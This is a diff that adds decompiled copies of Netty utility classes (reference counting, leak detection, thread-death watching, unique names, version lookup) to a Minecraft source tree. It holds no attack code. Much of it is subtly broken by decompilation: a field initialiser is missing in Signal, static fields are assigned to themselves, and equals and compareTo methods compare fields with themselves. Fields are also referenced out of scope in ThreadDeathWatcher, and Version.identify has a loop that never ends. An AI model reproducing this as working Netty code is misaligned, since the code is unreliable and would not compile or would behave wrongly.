+  }
+  
+
+
+
+
+
+  public static void safeRelease(Object msg, int decrement)
+  {
+    try
+    {
+      release(msg, decrement);
+    } catch (Throwable t) {
+      if (logger.isWarnEnabled()) {
+        logger.warn("Failed to release a message: {} (decrement: {})", new Object[] { msg, Integer.valueOf(decrement), t });
+      }
+    }
+  }
+  
+
+
+
+
+  public static <T> T releaseLater(T msg)
+  {
+    return releaseLater(msg, 1);
+  }
+  
+
+
+
+
+  public static <T> T releaseLater(T msg, int decrement)
+  {
+    if ((msg instanceof ReferenceCounted)) {
+      ThreadDeathWatcher.watch(Thread.currentThread(), new ReleasingTask((ReferenceCounted)msg, decrement));
+    }
+    return msg;
+  }
+  
+  private ReferenceCountUtil() {}
+  
+  private static final class ReleasingTask implements Runnable
+  {
+    private final ReferenceCounted obj;
+    private final int decrement;
+    
+    ReleasingTask(ReferenceCounted obj, int decrement)
+    {
+      this.obj = obj;
+      this.decrement = decrement;
+    }
+    
+    public void run()
+    {
+      try {
+        if (!obj.release(decrement)) {
+          ReferenceCountUtil.logger.warn("Non-zero refCnt: {}", this);
+        } else {
+          ReferenceCountUtil.logger.debug("Released: {}", this);
+        }
+      } catch (Exception ex) {
+        ReferenceCountUtil.logger.warn("Failed to release an object: {}", obj, ex);
+      }
+    }
+    
+    public String toString()
+    {
+      return StringUtil.simpleClassName(obj) + ".release(" + decrement + ") refCnt: " + obj.refCnt();
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/ReferenceCounted.java b/src/minecraft/io/netty/util/ReferenceCounted.java
new file mode 100644
index 0000000..372e44b
--- /dev/null
+++ b/src/minecraft/io/netty/util/ReferenceCounted.java
@@ -0,0 +1,14 @@
+package io.netty.util;
+
+public abstract interface ReferenceCounted
+{
+  public abstract int refCnt();
+  
+  public abstract ReferenceCounted retain();
+  
+  public abstract ReferenceCounted retain(int paramInt);
+  
+  public abstract boolean release();
+  
+  public abstract boolean release(int paramInt);
+}
diff --git a/src/minecraft/io/netty/util/ResourceLeak.java b/src/minecraft/io/netty/util/ResourceLeak.java
new file mode 100644
index 0000000..ae6d103
--- /dev/null
+++ b/src/minecraft/io/netty/util/ResourceLeak.java
@@ -0,0 +1,8 @@
+package io.netty.util;
+
+public abstract interface ResourceLeak
+{
+  public abstract void record();
+  
+  public abstract boolean close();
+}
diff --git a/src/minecraft/io/netty/util/ResourceLeakDetector.java b/src/minecraft/io/netty/util/ResourceLeakDetector.java
new file mode 100644
index 0000000..7927cd4
--- /dev/null
+++ b/src/minecraft/io/netty/util/ResourceLeakDetector.java
@@ -0,0 +1,387 @@
+package io.netty.util;
+
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.StringUtil;
+import io.netty.util.internal.SystemPropertyUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.lang.ref.PhantomReference;
+import java.lang.ref.ReferenceQueue;
+import java.util.ArrayDeque;
+import java.util.Deque;
+import java.util.EnumSet;
+import java.util.concurrent.ConcurrentMap;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ResourceLeakDetector<T>
+{
+  private static final String PROP_LEVEL = "io.netty.leakDetectionLevel";
+  private static final Level DEFAULT_LEVEL = Level.SIMPLE;
+  
+
+  private static Level level;
+  
+
+
+  public static enum Level
+  {
+    DISABLED, 
+    
+
+
+
+    SIMPLE, 
+    
+
+
+
+    ADVANCED, 
+    
+
+
+
+    PARANOID;
+    
+    private Level() {}
+  }
+  
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(ResourceLeakDetector.class);
+  private static final int DEFAULT_SAMPLING_INTERVAL = 113;
+  
+  static { boolean disabled;
+    if (SystemPropertyUtil.get("io.netty.noResourceLeakDetection") != null) {
+      boolean disabled = SystemPropertyUtil.getBoolean("io.netty.noResourceLeakDetection", false);
+      logger.debug("-Dio.netty.noResourceLeakDetection: {}", Boolean.valueOf(disabled));
+      logger.warn("-Dio.netty.noResourceLeakDetection is deprecated. Use '-D{}={}' instead.", "io.netty.leakDetectionLevel", DEFAULT_LEVEL.name().toLowerCase());
+    }
+    else
+    {
+      disabled = false;
+    }
+    
+    Level defaultLevel = disabled ? Level.DISABLED : DEFAULT_LEVEL;
+    String levelStr = SystemPropertyUtil.get("io.netty.leakDetectionLevel", defaultLevel.name()).trim().toUpperCase();
+    Level level = DEFAULT_LEVEL;
+    for (Level l : EnumSet.allOf(Level.class)) {
+      if ((levelStr.equals(l.name())) || (levelStr.equals(String.valueOf(l.ordinal())))) {
+        level = l;
+      }
+    }
+    
+    level = level;
+    if (logger.isDebugEnabled()) {
+      logger.debug("-D{}: {}", "io.netty.leakDetectionLevel", level.name().toLowerCase());
+    }
+  }
+  
+
+
+
+
+  @Deprecated
+  public static void setEnabled(boolean enabled)
+  {
+    setLevel(enabled ? Level.SIMPLE : Level.DISABLED);
+  }
+  
+
+
+  public static boolean isEnabled()
+  {
+    return getLevel().ordinal() > Level.DISABLED.ordinal();
+  }
+  
+
+
+  public static void setLevel(Level level)
+  {
+    if (level == null) {
+      throw new NullPointerException("level");
+    }
+    level = level;
+  }
+  
+
+
+  public static Level getLevel()
+  {
+    return level;
+  }
+  
+
+  private final ResourceLeakDetector<T>.DefaultResourceLeak head = new DefaultResourceLeak(null);
+  private final ResourceLeakDetector<T>.DefaultResourceLeak tail = new DefaultResourceLeak(null);
+  
+  private final ReferenceQueue<Object> refQueue = new ReferenceQueue();
+  private final ConcurrentMap<String, Boolean> reportedLeaks = PlatformDependent.newConcurrentHashMap();
+  
+  private final String resourceType;
+  private final int samplingInterval;
+  private final long maxActive;
+  private long active;
+  private final AtomicBoolean loggedTooManyActive = new AtomicBoolean();
+  private long leakCheckCnt;
+  
+  public ResourceLeakDetector(Class<?> resourceType)
+  {
+    this(StringUtil.simpleClassName(resourceType));
+  }
+  
+  public ResourceLeakDetector(String resourceType) {
+    this(resourceType, 113, Long.MAX_VALUE);
+  }
+  
+  public ResourceLeakDetector(Class<?> resourceType, int samplingInterval, long maxActive) {
+    this(StringUtil.simpleClassName(resourceType), samplingInterval, maxActive);
+  }
+  
+  public ResourceLeakDetector(String resourceType, int samplingInterval, long maxActive) {
+    if (resourceType == null) {
+      throw new NullPointerException("resourceType");
+    }
+    if (samplingInterval <= 0) {
+      throw new IllegalArgumentException("samplingInterval: " + samplingInterval + " (expected: 1+)");
+    }
+    if (maxActive <= 0L) {
+      throw new IllegalArgumentException("maxActive: " + maxActive + " (expected: 1+)");
+    }
+    
+    this.resourceType = resourceType;
+    this.samplingInterval = samplingInterval;
+    this.maxActive = maxActive;
+    
+    head.next = tail;
+    tail.prev = head;
+  }
+  
+
+
+
+
+
+  public ResourceLeak open(T obj)
+  {
+    Level level = level;
+    if (level == Level.DISABLED) {
+      return null;
+    }
+    
+    if (level.ordinal() < Level.PARANOID.ordinal()) {
+      if (leakCheckCnt++ % samplingInterval == 0L) {
+        reportLeak(level);
+        return new DefaultResourceLeak(obj);
+      }
+      return null;
+    }
+    
+    reportLeak(level);
+    return new DefaultResourceLeak(obj);
+  }
+  
+  private void reportLeak(Level level)
+  {
+    if (!logger.isErrorEnabled())
+    {
+      for (;;) {
+        ResourceLeakDetector<T>.DefaultResourceLeak ref = (DefaultResourceLeak)refQueue.poll();
+        if (ref == null) {
+          break;
+        }
+        ref.close();
+      }
+      return;
+    }
+    
+
+    int samplingInterval = level == Level.PARANOID ? 1 : this.samplingInterval;
+    if ((active * samplingInterval > maxActive) && (loggedTooManyActive.compareAndSet(false, true))) {
+      logger.error("LEAK: You are creating too many " + resourceType + " instances.  " + resourceType + " is a shared resource that must be reused across the JVM," + "so that only a few instances are created.");
+    }
+    
+
+
+
+    for (;;)
+    {
+      ResourceLeakDetector<T>.DefaultResourceLeak ref = (DefaultResourceLeak)refQueue.poll();
+      if (ref == null) {
+        break;
+      }
+      
+      ref.clear();
+      
+      if (ref.close())
+      {
+
+
+        String records = ref.toString();
+        if (reportedLeaks.putIfAbsent(records, Boolean.TRUE) == null) {
+          if (records.isEmpty()) {
+            logger.error("LEAK: {}.release() was not called before it's garbage-collected. Enable advanced leak reporting to find out where the leak occurred. To enable advanced leak reporting, specify the JVM option '-D{}={}' or call {}.setLevel()", new Object[] { resourceType, "io.netty.leakDetectionLevel", Level.ADVANCED.name().toLowerCase(), StringUtil.simpleClassName(this) });
+
+          }
+          else
+          {
+
+            logger.error("LEAK: {}.release() was not called before it's garbage-collected.{}", resourceType, records);
+          }
+        }
+      }
+    }
+  }
+  
+  private final class DefaultResourceLeak
+    extends PhantomReference<Object>
+    implements ResourceLeak
+  {
+    private static final int MAX_RECORDS = 4;
+    private final String creationRecord;
+    private final Deque<String> lastRecords = new ArrayDeque();
+    private final AtomicBoolean freed;
+    private ResourceLeakDetector<T>.DefaultResourceLeak prev;
+    private ResourceLeakDetector<T>.DefaultResourceLeak next;
+    
+    DefaultResourceLeak(Object referent) {
+      super(referent != null ? refQueue : null);
+      ResourceLeakDetector.Level level;
+      if (referent != null) {
+        level = ResourceLeakDetector.getLevel();
+        if (level.ordinal() >= ResourceLeakDetector.Level.ADVANCED.ordinal()) {
+          creationRecord = ResourceLeakDetector.newRecord(3);
+        } else {
+          creationRecord = null;
+        }
+        
+
+        synchronized (head) {
+          prev = head;
+          next = head.next;
+          head.next.prev = this;
+          head.next = this;
+          ResourceLeakDetector.access$408(ResourceLeakDetector.this);
+        }
+        freed = new AtomicBoolean();
+      } else {
+        creationRecord = null;
+        freed = new AtomicBoolean(true);
+      }
+    }
+    
+    public void record()
+    {
+      if (creationRecord != null) {
+        String value = ResourceLeakDetector.newRecord(2);
+        
+        synchronized (lastRecords) {
+          int size = lastRecords.size();
+          if ((size == 0) || (!((String)lastRecords.getLast()).equals(value))) {
+            lastRecords.add(value);
+          }
+          if (size > 4) {
+            lastRecords.removeFirst();
+          }
+        }
+      }
+    }
+    
+    public boolean close()
+    {
+      if (freed.compareAndSet(false, true)) {
+        synchronized (head) {
+          ResourceLeakDetector.access$410(ResourceLeakDetector.this);
+          prev.next = next;
+          next.prev = prev;
+          prev = null;
+          next = null;
+        }
+        return true;
+      }
+      return false;
+    }
+    
+    public String toString() {
+      if (creationRecord == null) {
+        return "";
+      }
+      
+      Object[] array;
+      synchronized (lastRecords) {
+        array = lastRecords.toArray();
+      }
+      
+      StringBuilder buf = new StringBuilder(16384);
+      buf.append(StringUtil.NEWLINE);
+      buf.append("Recent access records: ");
+      buf.append(array.length);
+      buf.append(StringUtil.NEWLINE);
+      
+      if (array.length > 0) {
+        for (int i = array.length - 1; i >= 0; i--) {
+          buf.append('#');
+          buf.append(i + 1);
+          buf.append(':');
+          buf.append(StringUtil.NEWLINE);
+          buf.append(array[i]);
+        }
+      }
+      
+      buf.append("Created at:");
+      buf.append(StringUtil.NEWLINE);
+      buf.append(creationRecord);
+      buf.setLength(buf.length() - StringUtil.NEWLINE.length());
+      
+      return buf.toString();
+    }
+  }
+  
+  private static final String[] STACK_TRACE_ELEMENT_EXCLUSIONS = { "io.netty.buffer.AbstractByteBufAllocator.toLeakAwareBuffer(" };
+  
+
+  static String newRecord(int recordsToSkip)
+  {
+    StringBuilder buf = new StringBuilder(4096);
+    StackTraceElement[] array = new Throwable().getStackTrace();
+    for (StackTraceElement e : array) {
+      if (recordsToSkip > 0) {
+        recordsToSkip--;
+      } else {
+        String estr = e.toString();
+        
+
+        boolean excluded = false;
+        for (String exclusion : STACK_TRACE_ELEMENT_EXCLUSIONS) {
+          if (estr.startsWith(exclusion)) {
+            excluded = true;
+            break;
+          }
+        }
+        
+        if (!excluded) {
+          buf.append('\t');
+          buf.append(estr);
+          buf.append(StringUtil.NEWLINE);
+        }
+      }
+    }
+    
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/util/ResourceLeakDetectorFactory.java b/src/minecraft/io/netty/util/ResourceLeakDetectorFactory.java
new file mode 100644
index 0000000..88d59d1
--- /dev/null
+++ b/src/minecraft/io/netty/util/ResourceLeakDetectorFactory.java
@@ -0,0 +1,144 @@
+package io.netty.util;
+
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.SystemPropertyUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.lang.reflect.Constructor;
+import java.security.AccessController;
+import java.security.PrivilegedAction;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class ResourceLeakDetectorFactory
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(ResourceLeakDetectorFactory.class);
+  
+  private static volatile ResourceLeakDetectorFactory factoryInstance = new DefaultResourceLeakDetectorFactory();
+  
+
+  public ResourceLeakDetectorFactory() {}
+  
+
+  public static ResourceLeakDetectorFactory instance()
+  {
+    return factoryInstance;
+  }
+  
+
+
+
+
+
+
+  public static void setResourceLeakDetectorFactory(ResourceLeakDetectorFactory factory)
+  {
+    factoryInstance = (ResourceLeakDetectorFactory)ObjectUtil.checkNotNull(factory, "factory");
+  }
+  
+
+
+
+
+
+
+  public final <T> ResourceLeakDetector<T> newResourceLeakDetector(Class<T> resource)
+  {
+    return newResourceLeakDetector(resource, 128, Long.MAX_VALUE);
+  }
+  
+
+
+
+  public abstract <T> ResourceLeakDetector<T> newResourceLeakDetector(Class<T> paramClass, int paramInt, long paramLong);
+  
+
+
+  private static final class DefaultResourceLeakDetectorFactory
+    extends ResourceLeakDetectorFactory
+  {
+    private final Constructor<?> customClassConstructor;
+    
+
+
+    DefaultResourceLeakDetectorFactory()
+    {
+      String customLeakDetector;
+      
+
+      try
+      {
+        customLeakDetector = (String)AccessController.doPrivileged(new PrivilegedAction()
+        {
+
+          public String run() { return SystemPropertyUtil.get("io.netty.customResourceLeakDetector"); }
+        });
+      } catch (Throwable cause) {
+        String customLeakDetector;
+        ResourceLeakDetectorFactory.logger.error("Could not access System property: io.netty.customResourceLeakDetector", cause);
+        customLeakDetector = null;
+      }
+      customClassConstructor = (customLeakDetector == null ? null : customClassConstructor(customLeakDetector));
+    }
+    
+    private static Constructor<?> customClassConstructor(String customLeakDetector) {
+      try {
+        Class<?> detectorClass = Class.forName(customLeakDetector, true, PlatformDependent.getSystemClassLoader());
+        
+
+        if (ResourceLeakDetector.class.isAssignableFrom(detectorClass)) {
+          return detectorClass.getConstructor(new Class[] { Class.class, Integer.TYPE, Long.TYPE });
+        }
+        ResourceLeakDetectorFactory.logger.error("Class {} does not inherit from ResourceLeakDetector.", customLeakDetector);
+      }
+      catch (Throwable t) {
+        ResourceLeakDetectorFactory.logger.error("Could not load custom resource leak detector class provided: {}", customLeakDetector, t);
+      }
+      
+      return null;
+    }
+    
+
+    public <T> ResourceLeakDetector<T> newResourceLeakDetector(Class<T> resource, int samplingInterval, long maxActive)
+    {
+      if (customClassConstructor != null) {
+        try
+        {
+          ResourceLeakDetector<T> leakDetector = (ResourceLeakDetector)customClassConstructor.newInstance(new Object[] { resource, Integer.valueOf(samplingInterval), Long.valueOf(maxActive) });
+          
+
+          ResourceLeakDetectorFactory.logger.debug("Loaded custom ResourceLeakDetector: {}", customClassConstructor.getDeclaringClass().getName());
+          
+          return leakDetector;
+        } catch (Throwable t) {
+          ResourceLeakDetectorFactory.logger.error("Could not load custom resource leak detector provided: {} with the given resource: {}", new Object[] { customClassConstructor.getDeclaringClass().getName(), resource, t });
+        }
+      }
+      
+
+
+      ResourceLeakDetector<T> resourceLeakDetector = new ResourceLeakDetector(resource, samplingInterval, maxActive);
+      
+      ResourceLeakDetectorFactory.logger.debug("Loaded default ResourceLeakDetector: {}", resourceLeakDetector);
+      return resourceLeakDetector;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/ResourceLeakException.java b/src/minecraft/io/netty/util/ResourceLeakException.java
new file mode 100644
index 0000000..edced8a
--- /dev/null
+++ b/src/minecraft/io/netty/util/ResourceLeakException.java
@@ -0,0 +1,71 @@
+package io.netty.util;
+
+import java.util.Arrays;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Deprecated
+public class ResourceLeakException
+  extends RuntimeException
+{
+  private static final long serialVersionUID = 7186453858343358280L;
+  private final StackTraceElement[] cachedStackTrace;
+  
+  public ResourceLeakException()
+  {
+    cachedStackTrace = getStackTrace();
+  }
+  
+  public ResourceLeakException(String message) {
+    super(message);
+    cachedStackTrace = getStackTrace();
+  }
+  
+  public ResourceLeakException(String message, Throwable cause) {
+    super(message, cause);
+    cachedStackTrace = getStackTrace();
+  }
+  
+  public ResourceLeakException(Throwable cause) {
+    super(cause);
+    cachedStackTrace = getStackTrace();
+  }
+  
+  public int hashCode()
+  {
+    StackTraceElement[] trace = cachedStackTrace;
+    int hashCode = 0;
+    for (StackTraceElement e : trace) {
+      hashCode = hashCode * 31 + e.hashCode();
+    }
+    return hashCode;
+  }
+  
+  public boolean equals(Object o)
+  {
+    if (!(o instanceof ResourceLeakException)) {
+      return false;
+    }
+    if (o == this) {
+      return true;
+    }
+    
+    return Arrays.equals(cachedStackTrace, cachedStackTrace);
+  }
+}
diff --git a/src/minecraft/io/netty/util/ResourceLeakHint.java b/src/minecraft/io/netty/util/ResourceLeakHint.java
new file mode 100644
index 0000000..67d5a1e
--- /dev/null
+++ b/src/minecraft/io/netty/util/ResourceLeakHint.java
@@ -0,0 +1,6 @@
+package io.netty.util;
+
+public abstract interface ResourceLeakHint
+{
+  public abstract String toHintString();
+}
diff --git a/src/minecraft/io/netty/util/Signal.java b/src/minecraft/io/netty/util/Signal.java
new file mode 100644
index 0000000..ab8623e
--- /dev/null
+++ b/src/minecraft/io/netty/util/Signal.java
@@ -0,0 +1,77 @@
+package io.netty.util;
+
+import io.netty.util.internal.PlatformDependent;
+import java.util.concurrent.ConcurrentMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Signal
+  extends Error
+{
+  private static final long serialVersionUID = -221145131122459977L;
+  private static final ConcurrentMap<String, Boolean> map = ;
+  
+
+
+  private final UniqueName uname;
+  
+
+
+  public static Signal valueOf(String name)
+  {
+    return new Signal(name);
+  }
+  
+
+
+  @Deprecated
+  public Signal(String name)
+  {
+    super(name);
+    uname = new UniqueName(map, name, new Object[0]);
+  }
+  
+
+
+
+  public void expect(Signal signal)
+  {
+    if (this != signal) {
+      throw new IllegalStateException("unexpected signal: " + signal);
+    }
+  }
+  
+  public Throwable initCause(Throwable cause)
+  {
+    return this;
+  }
+  
+  public Throwable fillInStackTrace()
+  {
+    return this;
+  }
+  
+  public String toString()
+  {
+    return uname.name();
+  }
+}
diff --git a/src/minecraft/io/netty/util/ThreadDeathWatcher.java b/src/minecraft/io/netty/util/ThreadDeathWatcher.java
new file mode 100644
index 0000000..9ed93b9
--- /dev/null
+++ b/src/minecraft/io/netty/util/ThreadDeathWatcher.java
@@ -0,0 +1,241 @@
+package io.netty.util;
+
+import io.netty.util.concurrent.DefaultThreadFactory;
+import io.netty.util.internal.MpscLinkedQueueNode;
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Queue;
+import java.util.concurrent.ThreadFactory;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ThreadDeathWatcher
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(ThreadDeathWatcher.class);
+  private static final ThreadFactory threadFactory = new DefaultThreadFactory(ThreadDeathWatcher.class, true, 1);
+  
+
+  private static final Queue<Entry> pendingEntries = PlatformDependent.newMpscQueue();
+  private static final Watcher watcher = new Watcher(null);
+  private static final AtomicBoolean started = new AtomicBoolean();
+  
+
+
+
+  private static volatile Thread watcherThread;
+  
+
+
+
+  public static void watch(Thread thread, Runnable task)
+  {
+    if (thread == null) {
+      throw new NullPointerException("thread");
+    }
+    if (task == null) {
+      throw new NullPointerException("task");
+    }
+    if (!thread.isAlive()) {
+      throw new IllegalArgumentException("thread must be alive.");
+    }
+    
+    schedule(thread, task, true);
+  }
+  
+
+
+  public static void unwatch(Thread thread, Runnable task)
+  {
+    if (thread == null) {
+      throw new NullPointerException("thread");
+    }
+    if (task == null) {
+      throw new NullPointerException("task");
+    }
+    
+    schedule(thread, task, false);
+  }
+  
+  private static void schedule(Thread thread, Runnable task, boolean isWatch) {
+    pendingEntries.add(new Entry(thread, task, isWatch));
+    
+    if (started.compareAndSet(false, true)) {
+      Thread watcherThread = threadFactory.newThread(watcher);
+      watcherThread.start();
+      watcherThread = watcherThread;
+    }
+  }
+  
+
+
+
+
+
+
+
+  public static boolean awaitInactivity(long timeout, TimeUnit unit)
+    throws InterruptedException
+  {
+    if (unit == null) {
+      throw new NullPointerException("unit");
+    }
+    
+    Thread watcherThread = watcherThread;
+    if (watcherThread != null) {
+      watcherThread.join(unit.toMillis(timeout));
+      return !watcherThread.isAlive();
+    }
+    return true;
+  }
+  
+  private ThreadDeathWatcher() {}
+  
+  private static final class Watcher
+    implements Runnable
+  {
+    private final List<ThreadDeathWatcher.Entry> watchees = new ArrayList();
+    
+    private Watcher() {}
+    
+    public void run() {
+      for (;;) { fetchWatchees();
+        notifyWatchees();
+        
+
+        fetchWatchees();
+        notifyWatchees();
+        try
+        {
+          Thread.sleep(1000L);
+        }
+        catch (InterruptedException ignore) {}
+        
+
+        if ((watchees.isEmpty()) && (ThreadDeathWatcher.pendingEntries.isEmpty()))
+        {
+
+
+
+          boolean stopped = ThreadDeathWatcher.started.compareAndSet(true, false);
+          assert (stopped);
+          
+
+          if (ThreadDeathWatcher.pendingEntries.isEmpty()) {
+            break;
+          }
+          
+
+
+
+
+
+          if (!ThreadDeathWatcher.started.compareAndSet(false, true)) {
+            break;
+          }
+        }
+      }
+    }
+    
+
+
+
+
+    private void fetchWatchees()
+    {
+      for (;;)
+      {
+        ThreadDeathWatcher.Entry e = (ThreadDeathWatcher.Entry)ThreadDeathWatcher.pendingEntries.poll();
+        if (e == null) {
+          break;
+        }
+        
+        if (isWatch) {
+          watchees.add(e);
+        } else {
+          watchees.remove(e);
+        }
+      }
+    }
+    
+    private void notifyWatchees() {
+      List<ThreadDeathWatcher.Entry> watchees = this.watchees;
+      for (int i = 0; i < watchees.size();) {
+        ThreadDeathWatcher.Entry e = (ThreadDeathWatcher.Entry)watchees.get(i);
+        if (!thread.isAlive()) {
+          watchees.remove(i);
+          try {
+            task.run();
+          } catch (Throwable t) {
+            ThreadDeathWatcher.logger.warn("Thread death watcher task raised an exception:", t);
+          }
+        } else {
+          i++;
+        }
+      }
+    }
+  }
+  
+  private static final class Entry extends MpscLinkedQueueNode<Entry> {
+    final Thread thread;
+    final Runnable task;
+    final boolean isWatch;
+    
+    Entry(Thread thread, Runnable task, boolean isWatch) {
+      this.thread = thread;
+      this.task = task;
+      this.isWatch = isWatch;
+    }
+    
+    public Entry value()
+    {
+      return this;
+    }
+    
+    public int hashCode()
+    {
+      return thread.hashCode() ^ task.hashCode();
+    }
+    
+    public boolean equals(Object obj)
+    {
+      if (obj == this) {
+        return true;
+      }
+      
+      if (!(obj instanceof Entry)) {
+        return false;
+      }
+      
+      Entry that = (Entry)obj;
+      return (thread == thread) && (task == task);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/Timeout.java b/src/minecraft/io/netty/util/Timeout.java
new file mode 100644
index 0000000..8f0ccc3
--- /dev/null
+++ b/src/minecraft/io/netty/util/Timeout.java
@@ -0,0 +1,14 @@
+package io.netty.util;
+
+public abstract interface Timeout
+{
+  public abstract Timer timer();
+  
+  public abstract TimerTask task();
+  
+  public abstract boolean isExpired();
+  
+  public abstract boolean isCancelled();
+  
+  public abstract boolean cancel();
+}
diff --git a/src/minecraft/io/netty/util/Timer.java b/src/minecraft/io/netty/util/Timer.java
new file mode 100644
index 0000000..b23b819
--- /dev/null
+++ b/src/minecraft/io/netty/util/Timer.java
@@ -0,0 +1,11 @@
+package io.netty.util;
+
+import java.util.Set;
+import java.util.concurrent.TimeUnit;
+
+public abstract interface Timer
+{
+  public abstract Timeout newTimeout(TimerTask paramTimerTask, long paramLong, TimeUnit paramTimeUnit);
+  
+  public abstract Set<Timeout> stop();
+}
diff --git a/src/minecraft/io/netty/util/TimerTask.java b/src/minecraft/io/netty/util/TimerTask.java
new file mode 100644
index 0000000..dbc815b
--- /dev/null
+++ b/src/minecraft/io/netty/util/TimerTask.java
@@ -0,0 +1,7 @@
+package io.netty.util;
+
+public abstract interface TimerTask
+{
+  public abstract void run(Timeout paramTimeout)
+    throws Exception;
+}
diff --git a/src/minecraft/io/netty/util/UniqueName.java b/src/minecraft/io/netty/util/UniqueName.java
new file mode 100644
index 0000000..8bd1d1e
--- /dev/null
+++ b/src/minecraft/io/netty/util/UniqueName.java
@@ -0,0 +1,117 @@
+package io.netty.util;
+
+import java.util.concurrent.ConcurrentMap;
+import java.util.concurrent.atomic.AtomicInteger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Deprecated
+public class UniqueName
+  implements Comparable<UniqueName>
+{
+  private static final AtomicInteger nextId = new AtomicInteger();
+  
+
+
+  private final int id;
+  
+
+  private final String name;
+  
+
+
+  public UniqueName(ConcurrentMap<String, Boolean> map, String name, Object... args)
+  {
+    if (map == null) {
+      throw new NullPointerException("map");
+    }
+    if (name == null) {
+      throw new NullPointerException("name");
+    }
+    if ((args != null) && (args.length > 0)) {
+      validateArgs(args);
+    }
+    
+    if (map.putIfAbsent(name, Boolean.TRUE) != null) {
+      throw new IllegalArgumentException(String.format("'%s' is already in use", new Object[] { name }));
+    }
+    
+    id = nextId.incrementAndGet();
+    this.name = name;
+  }
+  
+
+
+
+
+
+
+
+  protected void validateArgs(Object... args) {}
+  
+
+
+
+
+
+
+  public final String name()
+  {
+    return name;
+  }
+  
+
+
+
+
+  public final int id()
+  {
+    return id;
+  }
+  
+  public final int hashCode()
+  {
+    return super.hashCode();
+  }
+  
+  public final boolean equals(Object o)
+  {
+    return super.equals(o);
+  }
+  
+  public int compareTo(UniqueName other)
+  {
+    if (this == other) {
+      return 0;
+    }
+    
+    int returnCode = name.compareTo(name);
+    if (returnCode != 0) {
+      return returnCode;
+    }
+    
+    return Integer.valueOf(id).compareTo(Integer.valueOf(id));
+  }
+  
+  public String toString()
+  {
+    return name();
+  }
+}
diff --git a/src/minecraft/io/netty/util/Version.java b/src/minecraft/io/netty/util/Version.java
new file mode 100644
index 0000000..48883bb
--- /dev/null
+++ b/src/minecraft/io/netty/util/Version.java
@@ -0,0 +1,202 @@
+package io.netty.util;
+
+import io.netty.util.internal.PlatformDependent;
+import java.io.InputStream;
+import java.io.PrintStream;
+import java.net.URL;
+import java.text.ParseException;
+import java.text.SimpleDateFormat;
+import java.util.Date;
+import java.util.Enumeration;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Properties;
+import java.util.Set;
+import java.util.TreeMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Version
+{
+  private static final String PROP_VERSION = ".version";
+  private static final String PROP_BUILD_DATE = ".buildDate";
+  private static final String PROP_COMMIT_DATE = ".commitDate";
+  private static final String PROP_SHORT_COMMIT_HASH = ".shortCommitHash";
+  private static final String PROP_LONG_COMMIT_HASH = ".longCommitHash";
+  private static final String PROP_REPO_STATUS = ".repoStatus";
+  private final String artifactId;
+  private final String artifactVersion;
+  private final long buildTimeMillis;
+  private final long commitTimeMillis;
+  private final String shortCommitHash;
+  private final String longCommitHash;
+  private final String repositoryStatus;
+  
+  public static Map<String, Version> identify()
+  {
+    return identify(null);
+  }
+  
+
+
+
+
+  public static Map<String, Version> identify(ClassLoader classLoader)
+  {
+    if (classLoader == null) {
+      classLoader = PlatformDependent.getContextClassLoader();
+    }
+    
+
+    Properties props = new Properties();
+    try {
+      Enumeration<URL> resources = classLoader.getResources("META-INF/io.netty.versions.properties");
+      for (;;) { if (resources.hasMoreElements()) {
+          URL url = (URL)resources.nextElement();
+          InputStream in = url.openStream();
+          try {
+            props.load(in);
+            try
+            {
+              in.close(); } catch (Exception ignore) {} } finally { try { in.close();
+            }
+            catch (Exception ignore) {}
+          }
+        }
+      }
+    }
+    catch (Exception ignore) {}
+    
+
+
+    Set<String> artifactIds = new HashSet();
+    for (Object o : props.keySet()) {
+      String k = (String)o;
+      
+      int dotIndex = k.indexOf('.');
+      if (dotIndex > 0)
+      {
+
+
+        String artifactId = k.substring(0, dotIndex);
+        
+
+        if ((props.containsKey(artifactId + ".version")) && (props.containsKey(artifactId + ".buildDate")) && (props.containsKey(artifactId + ".commitDate")) && (props.containsKey(artifactId + ".shortCommitHash")) && (props.containsKey(artifactId + ".longCommitHash")) && (props.containsKey(artifactId + ".repoStatus")))
+        {
+
+
+
+
+
+
+
+          artifactIds.add(artifactId); }
+      }
+    }
+    Map<String, Version> versions = new TreeMap();
+    for (String artifactId : artifactIds) {
+      versions.put(artifactId, new Version(artifactId, props.getProperty(artifactId + ".version"), parseIso8601(props.getProperty(artifactId + ".buildDate")), parseIso8601(props.getProperty(artifactId + ".commitDate")), props.getProperty(artifactId + ".shortCommitHash"), props.getProperty(artifactId + ".longCommitHash"), props.getProperty(artifactId + ".repoStatus")));
+    }
+    
+
+
+
+
+
+
+
+
+
+    return versions;
+  }
+  
+  private static long parseIso8601(String value) {
+    try {
+      return new SimpleDateFormat("yyyy-MM-dd HH:mm:ss Z").parse(value).getTime();
+    } catch (ParseException ignored) {}
+    return 0L;
+  }
+  
+
+
